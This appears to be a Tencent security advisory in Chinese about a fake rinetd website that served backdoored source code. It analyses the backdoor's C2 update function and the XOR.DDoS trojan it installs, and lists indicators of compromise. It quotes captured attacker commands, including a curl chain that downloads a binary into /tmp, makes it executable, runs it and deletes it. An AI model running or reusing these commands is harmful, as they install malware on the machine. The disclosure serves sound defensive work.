【安全通知】知名端口转发工具rinetd遭高仿投毒

文｜柯南、xti9er、harold

2019年12月26日，某组织注册的http://www.rinetd.com/域名上线，以rinetd工具的'官方'站点的身份，对外提供附带后门的rinetd源码压缩包下载。

该后门在原作者在Github上的代码基础上增加了一个检查更新函数-check_update，该函数可用于定期向c2发起更新请求，并根据c2的返回来执行系统命令。

check_update函数如下：

后门权限维持：

捕捉到的请求：

curl -fs http://update.rinetd.com/update.php?t=xxxxxxx

后门下发指令执行：

捕捉到的请求：

curl -sfo   system_info.sh http://www.rinetd.com/xxxxxx.sh

该脚本执行内容如下：

cd /tmp && \rm -rf ./update && \curl -sfo update http://www.rinetd.com/xxxxxxx && \chmod 777 ./update && \./update && \rm -rf ./update update.sh

在tmp目录下载并运行一个update程序（ddos木马），种马成功之后将该木马文件删除。

监控过程中发现该后门还会下发一些信息收集动作：

上述流程中种下的木马：/tmp/update。此木马为曾被命名为“Linux/XOR.DDoS”的DDOS木马家族衍生版本，在本公众号的文章中有过之前版本的分析，详见《云端博弈——木马屠城》 。其中这个家族木马经典的几个函数一直没有变过：

顾名思义，用作隐藏敏感字符串的。上面的rinetd.c的check_update()函数的代码风格与此类似。

检查lkm rookit模块是否安装成功，很可惜在现场环境中未找到ko文件（安装过程有删除安装文件的行为），同时并未记录到加载内核模块的命令，推断这个rootkit并没有安装或者被木马作者抛弃了。

不过根据木马还保留的HidePidPort\HideFile\bypass_iptables功能还是可以推断其工作原理，当然这部分分析也在前面的文章中有提及，这里不赘述。

此rookit功能参考开源代码：https://github.com/mncoppola/suterusu。

rootkit自查可使用工具：https://security.tencent.com/index.php/opensource/detail/16

反连shell，通过ptmx_open创建伪终端，并启动/bin/bash将标准输出输出重定向到伪终端，接受控制端命令。并且通过rootkit功能（HidePidPort）隐藏进程，加密传输控制指令。所以NIDS常规的C2策略不会被命中。

木马还包含了其他的文件传输、端口扫描、发udp\dns包等常规功能不逐一赘述。此木马家族及僵尸网络一直在更新，在可追溯的记录来看，至少存在长达6年之久。从最新的版本来看，其种马方式已经除传统的弱口令爆破、Nday抓鸡等模式外，本次的供应链攻击更加猥琐隐蔽。代码也更为简洁，不易察觉。

XOR.DDoS及其变种是一个庞大的主要针对Linux服务器的僵尸网络家族。该僵尸网络家族通常通过暴力破解的方式，获得存在弱口令的Linux服务器的控制权。该僵尸网络家族较为活跃的c2c域名列表如下：

根据宙斯盾团队的监测数据，XOR.DDoS及其变种控制的肉鸡，是现网最常见的DDoS僵尸网络家族，在Linux系统服务器肉鸡中的占比达到62%。XOR.DDoS僵尸网络家族发起的DDoS攻击中，最为典型的是SYNFLOOD攻击，典型的攻击payload为长度900~950字节的SYN大包，payload中含有020405b401010402的特征。

ip：

35.194.132.172

35.194.185.68

35.189.164.113

fqdn：

http://www.rinetd.com

安平洋葱系统是腾讯内部自研的服务器安全系统（XDR），支持x86和arm架构，为腾讯公司百万级服务器提供入侵检测、漏洞检测、安全基线扫描和安全追溯等安全能力、满足安全合规要求，一直服务于QQ、微信、腾讯云、腾讯游戏等业务。洋葱团队专注于黑客攻防领域，关注第三方组件、软件源等基础设施安全，发现的重大安全风险也会及时同步官方，欢迎有兴趣的安全团队交流合作。同时洋葱团队也在和腾讯云合作，为一些外部企业提供安全支持。

安全平台部宙斯盾DDoS防护系统，基于十余年的防护技术积累，提供专业、可靠的攻击防护解决方案。一直服务于QQ、微信、游戏、云等腾讯业务，具备T级流量的DDoS检测和清洗能力，保障业务运营的安全稳定。在服务保障自研业务之余，也进行技术能力输出，目前已经为Garena、知道创宇等合作公司提供防护能力部署支持；也与腾讯云合作输出T-Sec DDoS高防产品，助力产业互联网客户安全能力升级。

我们是TSRC

互联网安全的守护者

用户数据安全的保卫者

我们找漏洞、查入侵、防攻击

与安全行业精英携手共建互联网生态安全

期待正能量的你与我们结盟！

微信号：tsrc_team